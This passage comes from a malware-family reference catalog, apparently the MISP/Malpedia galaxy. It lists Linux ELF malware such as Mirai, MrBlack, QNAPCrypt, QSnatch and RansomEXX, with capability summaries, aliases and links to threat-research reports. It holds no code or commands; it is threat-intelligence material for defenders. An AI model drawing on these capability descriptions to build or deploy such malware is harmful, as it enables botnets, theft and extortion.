<td><a href="https://github.com/avast/ioc/tree/master/Manjusaka">github.com/avast/ioc/tree/master/Manjusaka</a></td>
</tr>
</tbody>
</table>

**Masuta**

Masuta takes advantage of the EDB 38722 D-Link exploit.

The tag is: `misp-galaxy:malpedia="Masuta"

Masuta is also known as:

- PureMasuta

**Table 1978. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.masuta">malpedia.caad.fkie.fraunhofer.de/details/elf.masuta</a></td>
</tr>
</tbody>
</table>

**Matryosh**

The tag is: `misp-galaxy:malpedia="Matryosh"

Matryosh is also known as:

**Table 1979. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.matryosh">malpedia.caad.fkie.fraunhofer.de/details/elf.matryosh</a></td>
</tr>
</tbody>
</table>
**Melofee**

The tag is: *misp-galaxy:malpedia=*"Melofee"

Melofee is also known as:

- Mélofée

*Table 1980. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.melofee">https://malpedia.caad.fkie.fraunhofer.de/details/elf.melofee</a></td>
</tr>
<tr>
<td><a href="https://blog.exatrack.com/melofee/">https://blog.exatrack.com/melofee/</a></td>
</tr>
</tbody>
</table>

**MESSAGETAP**

MESSAGETAP is a 64-bit ELF data miner initially loaded by an installation script. It is designed to monitor and save SMS traffic from specific phone numbers, IMSI numbers and keywords for subsequent theft.

The tag is: *misp-galaxy:malpedia=*"MESSAGETAP"

MESSAGETAP is also known as:

*Table 1981. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.messagetap">https://malpedia.caad.fkie.fraunhofer.de/details/elf.messagetap</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0096">https://attack.mitre.org/groups/G0096</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2019/10/messagetap-who-is-reading-your-text-messages.html">https://www.fireeye.com/blog/threat-research/2019/10/messagetap-who-is-reading-your-text-messages.html</a></td>
</tr>
</tbody>
</table>

**Midrashim**

A x64 ELF file infector with non-destructive payload.

The tag is: *misp-galaxy:malpedia=*"Midrashim"
Midrashim is also known as:

Table 1982. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.midrashim">https://malpedia.caad.fkie.fraunhofer.de/details/elf.midrashim</a></td>
</tr>
<tr>
<td><a href="https://www.guitmz.com/linux-midrashim-elf-virus/">https://www.guitmz.com/linux-midrashim-elf-virus/</a></td>
</tr>
<tr>
<td><a href="https://github.com/guitmz/midrashim">https://github.com/guitmz/midrashim</a></td>
</tr>
</tbody>
</table>

MiKey

The tag is: misp-galaxy:malpedia="MiKey"

MiKey is also known as:

Table 1983. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.mikey">https://malpedia.caad.fkie.fraunhofer.de/details/elf.mikey</a></td>
</tr>
<tr>
<td><a href="https://github.com/malware-kitten/securitykitten.github.io/blob/master/_posts/2016-12-14-mikey.md">https://github.com/malware-kitten/securitykitten.github.io/blob/master/_posts/2016-12-14-mikey.md</a></td>
</tr>
<tr>
<td><a href="https://securitykitten.github.io/2016/12/14/mikey.html">https://securitykitten.github.io/2016/12/14/mikey.html</a></td>
</tr>
</tbody>
</table>

Mirai (ELF)

Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on “Hack Forums” many variants of the Mirai family appeared, infecting mostly home networks all around the world.

The tag is: misp-galaxy:malpedia="Mirai (ELF)"

Mirai (ELF) is also known as:

- Katana

Table 1984. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai">https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/mirai-variant-iot-vulnerabilities/">https://unit42.paloaltonetworks.com/mirai-variant-iot-vulnerabilities/</a></td>
</tr>
</tbody>
</table>
Mokes (ELF)

The tag is: misp-galaxy:malpedia="Mokes (ELF)"

Mokes (ELF) is also known as:

Table 1985. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.mokes">https://malpedia.caad.fkie.fraunhofer.de/details/elf.mokes</a></td>
</tr>
</tbody>
</table>

Momentum

The tag is: misp-galaxy:malpedia="Momentum"

Momentum is also known as:

Table 1986. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.momentum">https://malpedia.caad.fkie.fraunhofer.de/details/elf.momentum</a></td>
</tr>
</tbody>
</table>

Monti

A ransomware, derived from the leaked Conti source code.
The tag is: `misp-galaxy:malpedia="Monti"`

Monti is also known as:

Table 1987. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.monti">https://malpedia.caad.fkie.fraunhofer.de/details/elf.monti</a></td>
</tr>
</tbody>
</table>

**MooBot**

The tag is: `misp-galaxy:malpedia="MooBot"`

MooBot is also known as:

Table 1988. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.moobot">https://malpedia.caad.fkie.fraunhofer.de/details/elf.moobot</a></td>
</tr>
<tr>
<td><a href="https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/">https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/</a></td>
</tr>
<tr>
<td><a href="https://otx.alienvault.com/pulse/6075b645942d5adf9bb8949b">https://otx.alienvault.com/pulse/6075b645942d5adf9bb8949b</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/moobot-d-link-devices/">https://unit42.paloaltonetworks.com/moobot-d-link-devices/</a></td>
</tr>
<tr>
<td><a href="https://blog.netlab.360.com/moobot-0day-unixcctv-dvr-en/">https://blog.netlab.360.com/moobot-0day-unixcctv-dvr-en/</a></td>
</tr>
</tbody>
</table>

**Moose**

The tag is: `misp-galaxy:malpedia="Moose"`

Moose is also known as:

Table 1989. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.moose">https://malpedia.caad.fkie.fraunhofer.de/details/elf.moose</a></td>
</tr>
<tr>
<td><a href="http://www.welivesecurity.com/2016/11/02/linuxmoose-still-breathing/">http://www.welivesecurity.com/2016/11/02/linuxmoose-still-breathing/</a></td>
</tr>
<tr>
<td><a href="http://www.welivesecurity.com/2015/05/26/moose-router-worm/">http://www.welivesecurity.com/2015/05/26/moose-router-worm/</a></td>
</tr>
<tr>
<td><a href="http://gosecure.net/2016/11/02/exposing-the-ego-market-the-cybercrime-performed-by-the-linux-moose-botnet/">http://gosecure.net/2016/11/02/exposing-the-ego-market-the-cybercrime-performed-by-the-linux-moose-botnet/</a></td>
</tr>
</tbody>
</table>
Mozi

The tag is: misp-galaxy:malpedia="Mozi"

Mozi is also known as:

Table 1990. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.mozi">https://malpedia.caad.fkie.fraunhofer.de/details/elf.mozi</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=cDFO_MRlg3M">https://www.youtube.com/watch?v=cDFO_MRlg3M</a></td>
</tr>
<tr>
<td><a href="https://blog.netlab.360.com/p2p-botnets-review-status-continuous-monitoring/">https://blog.netlab.360.com/p2p-botnets-review-status-continuous-monitoring/</a></td>
</tr>
<tr>
<td><a href="https://go.recordedfuture.com/hubfs/reports/cta-2021-1112.pdf">https://go.recordedfuture.com/hubfs/reports/cta-2021-1112.pdf</a></td>
</tr>
<tr>
<td><a href="https://www.microsoft.com/security/blog/2021/08/19/how-to-proactively-defend-against-mozi-iot-botnet/">https://www.microsoft.com/security/blog/2021/08/19/how-to-proactively-defend-against-mozi-iot-botnet/</a></td>
</tr>
</tbody>
</table>

MrBlack

MrBlack, first identified in May 2014 by Russian security firm Dr. Web, is a botnet that targets Linux OS and is designed to conduct distributed denial-of-service (DDoS) attacks. In May 2015, Incapsula clients suffered a large-scale DDoS attack which the company attributed to network traffic generated by tens of thousands of small office/home office (SOHO) routers infected with MrBlack. This massive botnet spans over 109 countries, especially in Thailand and Brazil.

MrBlack scans for and infects routers that have not had their default login credentials changed and that allow remote access to HTTP and SSH via port 80 and port 22, respectively. One of the most impacted router brands is Ubiquiti, a U.S.-based firm that provides bulk network hub solutions for internet service providers to lease to their customers. Once a vulnerable router is compromised and MrBlack is injected into the system, a remote server is contacted and system information from the device is transmitted. This allows the host server to receive commands in order to perform different types of DDoS attacks, download and execute files, and terminate processes.
The tag is: misp-galaxy:malpedia="MrBlack"

MrBlack is also known as:

- AESDDoS
- Dofloo

Table 1991. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.mrblack">https://malpedia.caad.fkie.fraunhofer.de/details/elf.mrblack</a></td>
</tr>
<tr>
<td><a href="https://news.drweb.com/?i=5760&amp;c=23&amp;lng=en">https://news.drweb.com/?i=5760&amp;c=23&amp;lng=en</a></td>
</tr>
<tr>
<td><a href="https://blog.syscall.party/post/aes-ddos-analysis-part-1/">https://blog.syscall.party/post/aes-ddos-analysis-part-1/</a></td>
</tr>
</tbody>
</table>

**Mumblehard**

The tag is: misp-galaxy:malpedia="Mumblehard"

Mumblehard is also known as:

Table 1992. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.mumblehard">https://malpedia.caad.fkie.fraunhofer.de/details/elf.mumblehard</a></td>
</tr>
</tbody>
</table>

**Nextcry**

Ransomware used against Linux servers.

The tag is: misp-galaxy:malpedia="Nextcry"

Nextcry is also known as:

Table 1993. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.nextcry">https://malpedia.caad.fkie.fraunhofer.de/details/elf.nextcry</a></td>
</tr>
</tbody>
</table>
Ngioweb (ELF)

The tag is: *misp-galaxy:malpedia="Ngioweb (ELF)"

Ngioweb (ELF) is also known as:

<table>
<thead>
<tr>
<th>Table 1994. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.ngioweb">https://malpedia.caad.fkie.fraunhofer.de/details/elf.ngioweb</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/IntezerLabs/status/1324346324683206657">https://twitter.com/IntezerLabs/status/1324346324683206657</a></td>
</tr>
</tbody>
</table>

Nimbo-C2 (ELF)

According to the author, Nimbo-C2 is yet another (simple and lightweight) C2 framework. The agent currently supports Windows x64 and Linux. It's written in Nim, with some usage of .NET (by dynamically loading the CLR to the process).

The tag is: *misp-galaxy:malpedia="Nimbo-C2 (ELF)"

Nimbo-C2 (ELF) is also known as:

<table>
<thead>
<tr>
<th>Table 1995. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.nimbo_c2">https://malpedia.caad.fkie.fraunhofer.de/details/elf.nimbo_c2</a></td>
</tr>
<tr>
<td><a href="https://github.com/itaymigdal/Nimbo-C2">https://github.com/itaymigdal/Nimbo-C2</a></td>
</tr>
</tbody>
</table>

NiuB

Golang-based RAT that offers execution of shell commands and download+run capability.

The tag is: *misp-galaxy:malpedia="NiuB"

NiuB is also known as:

<table>
<thead>
<tr>
<th>Table 1996. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.niub">https://malpedia.caad.fkie.fraunhofer.de/details/elf.niub</a></td>
</tr>
</tbody>
</table>
NOTROBIN

FireEye states that NOTROBIN is a utility written in Go 1.10 and compiled to a 64-bit ELF binary for BSD systems. It periodically scans for and deletes files matching filename patterns and content characteristics. The purpose seems to be to block exploitation attempts against the CVE-2019-19781 vulnerability; however, FireEye believes that NOTROBIN provides backdoor access to the compromised system.

The tag is: misp-galaxy:malpedia="NOTROBIN"

NOTROBIN is also known as:

- remove_bds

Table 1997. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.notrobin">https://malpedia.caad.fkie.fraunhofer.de/details/elf.notrobin</a></td>
</tr>
<tr>
<td><a href="https://news.sophos.com/en-us/2020/05/21/asnarok2/">https://news.sophos.com/en-us/2020/05/21/asnarok2/</a></td>
</tr>
<tr>
<td><a href="https://www.theregister.co.uk/2020/01/17/hackers_patch">https://www.theregister.co.uk/2020/01/17/hackers_patch</a> Citrix_vulnerability/</td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2020/01/vigilante-deploying-mitigation-for-citrix-netscaler-vulnerability-while-maintaining-backdoor.html">https://www.fireeye.com/blog/threat-research/2020/01/vigilante-deploying-mitigation-for-citrix-netscaler-vulnerability-while-maintaining-backdoor.html</a></td>
</tr>
<tr>
<td><a href="https://dcso.de/2020/01/16/a-curious-case-of-cve-2019-19781-palware-remove_bds/">https://dcso.de/2020/01/16/a-curious-case-of-cve-2019-19781-palware-remove_bds/</a></td>
</tr>
</tbody>
</table>

OrBit

According to stormshield, OrBit is a two-stage malware that appeared in July 2022, discovered by Intezer lab. Acting as a stealer and backdoor on 64-bit Linux systems, it consists of an executable acting as a dropper and a dynamic library.

The tag is: misp-galaxy:malpedia="OrBit"

OrBit is also known as:

Table 1998. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.orbit">https://malpedia.caad.fkie.fraunhofer.de/details/elf.orbit</a></td>
</tr>
</tbody>
</table>
Owari

Mirai variant by actor "Anarchy" that used CVE-2017-17215 in July 2018 to compromise 18,000+ devices.

The tag is: misp-galaxy:malpedia="Owari"

Owari is also known as:

Table 1999. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.owari">https://malpedia.caad.fkie.fraunhofer.de/details/elf.owari</a></td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/a-wicked-family-of-bots.html">https://www.fortinet.com/blog/threat-research/a-wicked-family-of-bots.html</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/ankit_anubhav/status/1019647993547550720">https://twitter.com/ankit_anubhav/status/1019647993547550720</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/hrbrmstr/status/1019922651203227653">https://twitter.com/hrbrmstr/status/1019922651203227653</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/360Netlab/status/1019759516789821441">https://twitter.com/360Netlab/status/1019759516789821441</a></td>
</tr>
</tbody>
</table>

p0sT5n1F3r

According to Yarix digital security, this is a malware that allows to sniff on HTTPS traffic, implemented as Apache module.

The tag is: misp-galaxy:malpedia="p0sT5n1F3r"

p0sT5n1F3r is also known as:

Table 2000. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.p0st5n1f3r">https://malpedia.caad.fkie.fraunhofer.de/details/elf.p0st5n1f3r</a></td>
</tr>
</tbody>
</table>

pbot

P2P botnet derived from the Mirai source code.

The tag is: misp-galaxy:malpedia="pbot"
pbot is also known as:

**Table 2001. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.pbot">https://malpedia.caad.fkie.fraunhofer.de/details/elf.pbot</a></td>
</tr>
</tbody>
</table>

**Penquin Turla**

The tag is: `misp-galaxy:malpedia="Penquin Turla"`

Penquin Turla is also known as:

**Table 2002. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.penquin_turla">https://malpedia.caad.fkie.fraunhofer.de/details/elf.penquin_turla</a></td>
</tr>
<tr>
<td><a href="https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf">https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/juanandres_gs/status/944741575837528064">https://twitter.com/juanandres_gs/status/944741575837528064</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/files/2017/04/Penquins_Moonlit_Maze_AppendixB.pdf">https://securelist.com/files/2017/04/Penquins_Moonlit_Maze_AppendixB.pdf</a></td>
</tr>
<tr>
<td><a href="https://www.leonardocompany.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf">https://www.leonardocompany.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf</a></td>
</tr>
<tr>
<td><a href="https://lab52.io/blog/looking-for-penquins-in-the-wild/">https://lab52.io/blog/looking-for-penquins-in-the-wild/</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=JXsjRUxx47E">https://www.youtube.com/watch?v=JXsjRUxx47E</a></td>
</tr>
</tbody>
</table>

**PerlBot**

The tag is: `misp-galaxy:malpedia="PerlBot"`

PerlBot is also known as:
• DDoS Perl IrcBot
• ShellBot

Table 2003. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.perlbot">https://malpedia.caad.fkie.fraunhofer.de/details/elf.perlbot</a></td>
</tr>
<tr>
<td><a href="https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/">https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/</a></td>
</tr>
<tr>
<td><a href="https://documents.trendmicro.com/assets/Perl-Based_Shellbot_Looks_to_Target_Organizations_via_C&amp;C_appendix.pdf">https://documents.trendmicro.com/assets/Perl-Based_Shellbot_Looks_to_Target_Organizations_via_C&amp;C_appendix.pdf</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/Nocturnus/status/1308430959512092673">https://twitter.com/Nocturnus/status/1308430959512092673</a></td>
</tr>
<tr>
<td><a href="https://yoroi.company/research/outlaw-is-back-a-new-crypto-botnet-targets-european-organizations/">https://yoroi.company/research/outlaw-is-back-a-new-crypto-botnet-targets-european-organizations/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/los-zetas-from-eleethub-botnet/">https://unit42.paloaltonetworks.com/los-zetas-from-eleethub-botnet/</a></td>
</tr>
<tr>
<td><a href="https://sysdig.com/blog/malware-analysis-shellbot-sysdig/">https://sysdig.com/blog/malware-analysis-shellbot-sysdig/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/cve-2020-17496/">https://unit42.paloaltonetworks.com/cve-2020-17496/</a></td>
</tr>
<tr>
<td><a href="https://us-cert.cisa.gov/ncas/alerts/aa20-345a">https://us-cert.cisa.gov/ncas/alerts/aa20-345a</a></td>
</tr>
</tbody>
</table>

**Persirai**

The tag is: *misp-galaxy:malpedia="Persirai"*

Persirai is also known as:

Table 2004. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.persirai">https://malpedia.caad.fkie.fraunhofer.de/details/elf.persirai</a></td>
</tr>
</tbody>
</table>

734
PingPull

The tag is: misp-galaxy:malpedia="PingPull"

PingPull is also known as:

Table 2005. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.pingpull">https://malpedia.caad.fkie.fraunhofer.de/details/elf.pingpull</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/alloy-taurus/">https://unit42.paloaltonetworks.com/alloy-taurus/</a></td>
</tr>
</tbody>
</table>

Pink

A botnet with P2P and centralized C&C capabilities.

The tag is: misp-galaxy:malpedia="Pink"

Pink is also known as:

Table 2006. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.pink">https://malpedia.caad.fkie.fraunhofer.de/details/elf.pink</a></td>
</tr>
<tr>
<td><a href="https://blog.netlab.360.com/pink-en/">https://blog.netlab.360.com/pink-en/</a></td>
</tr>
<tr>
<td><a href="https://blog.netlab.360.com/p2p-botnets-review-status-continuous-monitoring/">https://blog.netlab.360.com/p2p-botnets-review-status-continuous-monitoring/</a></td>
</tr>
</tbody>
</table>

PLEAD (ELF)

The tag is: misp-galaxy:malpedia="PLEAD (ELF)"

PLEAD (ELF) is also known as:

Table 2007. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.plead">https://malpedia.caad.fkie.fraunhofer.de/details/elf.plead</a></td>
</tr>
<tr>
<td><a href="https://cyberandramen.net/2021/02/11/blacktech-updates-elf-plead-backdoor/">https://cyberandramen.net/2021/02/11/blacktech-updates-elf-plead-backdoor/</a></td>
</tr>
<tr>
<td><a href="https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape">https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape</a></td>
</tr>
</tbody>
</table>
**Poseidon (ELF)**

Part of Mythic C2, written in Golang.

The tag is: `misp-galaxy:malpedia="Poseidon (ELF)"`

Poseidon (ELF) is also known as:

*Table 2008. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.poseidon">https://malpedia.caad.fkie.fraunhofer.de/details/elf.poseidon</a></td>
</tr>
<tr>
<td><a href="https://github.com/MythicAgents/poseidon">https://github.com/MythicAgents/poseidon</a></td>
</tr>
<tr>
<td><a href="https://cert.gov.ua/article/6123309">https://cert.gov.ua/article/6123309</a></td>
</tr>
</tbody>
</table>

**PRISM**

The tag is: `misp-galaxy:malpedia="PRISM"`

PRISM is also known as:

- waterdrop

*Table 2009. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.prism">https://malpedia.caad.fkie.fraunhofer.de/details/elf.prism</a></td>
</tr>
</tbody>
</table>

**PrivetSanya**

Black Lotus Labs identified malware for the Windows Subsystem for Linux (WSL). Mostly written in Python but compiled as Linux ELF files.

The tag is: `misp-galaxy:malpedia="PrivetSanya"`

PrivetSanya is also known as:

*Table 2010. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.privet_sanya">https://malpedia.caad.fkie.fraunhofer.de/details/elf.privet_sanya</a></td>
</tr>
</tbody>
</table>
Prometei (ELF)

The tag is: misp-galaxy:malpedia="Prometei (ELF)"

Prometei (ELF) is also known as:

Table 2011. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/elf.prometei
https://cujo.com/iot-malware-journals-prometei-linux/
https://twitter.com/IntezerLabs/status/1338480158249013250
https://www.cybereason.com/blog/prometei-botnet-exploiting-microsoft-exchange-vulnerabilities

Pro-Ocean

Unit 42 describes this as a malware used by Rocke Group that deploys an XMRig miner.

The tag is: misp-galaxy:malpedia="Pro-Ocean"

Pro-Ocean is also known as:

Table 2012. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/elf.pro_ocean
https://unit42.paloaltonetworks.com/pro-ocean-rocke-groups-new-cryptojacking-malware/

pupy (ELF)

Pupy is an open-source, cross-platform RAT and post-exploitation framework mainly written in python. Pupy can be loaded from various loaders, including PE EXE, reflective DLL, Linux ELF, pure python, powershell and APK. Most of the loaders bundle an embedded python runtime, python library modules in source/compiled/native forms as well as a flexible configuration. They bootstrap
a python runtime environment mostly in-memory for the later stages of pupy to run in. Pupy can communicate using various transports, migrate into processes, load remote python code, python packages and python C-extensions from memory.

The tag is: misp-galaxy:malpedia="pupy (ELF)"

pupy (ELF) is also known as:

Table 2013. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.pupy">https://malpedia.caad.fkie.fraunhofer.de/details/elf.pupy</a></td>
</tr>
<tr>
<td><a href="https://github.com/n1nj4sec/pupy">https://github.com/n1nj4sec/pupy</a></td>
</tr>
</tbody>
</table>

QNAPCrypt

The QNAPCrypt ransomware works similarly to other ransomware, including encrypting all files and delivering a ransom note. However, there are several important differences:

1. The ransom note was included solely as a text file, without any message on the screen—naturally, because it is a server and not an endpoint.
2. Every victim is provided with a different, unique Bitcoin wallet—this could help the attackers avoid being traced.
3. Once a victim is compromised, the malware requests a wallet address and a public RSA key from the command and control server (C&C) before file encryption.

The tag is: misp-galaxy:malpedia="QNAPCrypt"

QNAPCrypt is also known as:

- eCh0raix

Table 2014. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.qnapcrypt">https://malpedia.caad.fkie.fraunhofer.de/details/elf.qnapcrypt</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/ech0raix-ransomware-soho/">https://unit42.paloaltonetworks.com/ech0raix-ransomware-soho/</a></td>
</tr>
<tr>
<td><a href="https://www.qnap.com/en/security-advisory/QSA-20-02">https://www.qnap.com/en/security-advisory/QSA-20-02</a></td>
</tr>
<tr>
<td><a href="https://www.intezer.com/blog-russian-cybercrime-group-fullofdeep-behind-qnapcrypt-ransomware-campaigns/">https://www.intezer.com/blog-russian-cybercrime-group-fullofdeep-behind-qnapcrypt-ransomware-campaigns/</a></td>
</tr>
</tbody>
</table>
QSnatch

The malware infects QNAP NAS devices, is persisting via various mechanisms and resists cleaning by preventing firmware updates and interfering with QNAP MalwareRemover. The malware steals passwords and hashes.

The tag is: `misp-galaxy:malpedia="QSnatch"`

QSnatch is also known as:

Table 2015. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.qsnatch">https://malpedia.caad.fkie.fraunhofer.de/details/elf.qsnatch</a></td>
</tr>
<tr>
<td><a href="https://bin.re/blog/the-dga-of-qsnatch/">https://bin.re/blog/the-dga-of-qsnatch/</a></td>
</tr>
<tr>
<td><a href="https://us-cert.cisa.gov/ncas/alerts/aa20-209a">https://us-cert.cisa.gov/ncas/alerts/aa20-209a</a></td>
</tr>
</tbody>
</table>

QUIETEXIT

Mandiant observed this backdoor being observed by UNC3524. It is based on the open-source Dropbear SSH source code.

The tag is: `misp-galaxy:malpedia="QUIETEXIT"`

QUIETEXIT is also known as:
**r2r2**

The tag is: *misp-galaxy:malpedia="r2r2"*

r2r2 is also known as:

**RagnarLocker (ELF)**

The tag is: *misp-galaxy:malpedia="RagnarLocker (ELF)"*

RagnarLocker (ELF) is also known as:

**Rakos**

The tag is: *misp-galaxy:malpedia="Rakos"*

Rakos is also known as:
RansomEXX (ELF)

According to SentineOne, RansomEXX (aka Defray, Defray777), a multi-pronged extortion threat, has been observed in the wild since late 2020. RansomEXX is associated with attacks against the Texas Department of Transportation, Groupe Atlantic, and several other large enterprises. There are Windows and Linux variants of this malware family, and they are known for their limited and exclusive targeting.

The tag is: misp-galaxy:malpedia="RansomEXX (ELF)"

RansomEXX (ELF) is also known as:

- Defray777

Table 2020. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.ransomexx">https://malpedia.caad.fkie.fraunhofer.de/details/elf.ransomexx</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=qxPXxWMi2i4">https://www.youtube.com/watch?v=qxPXxWMi2i4</a></td>
</tr>
<tr>
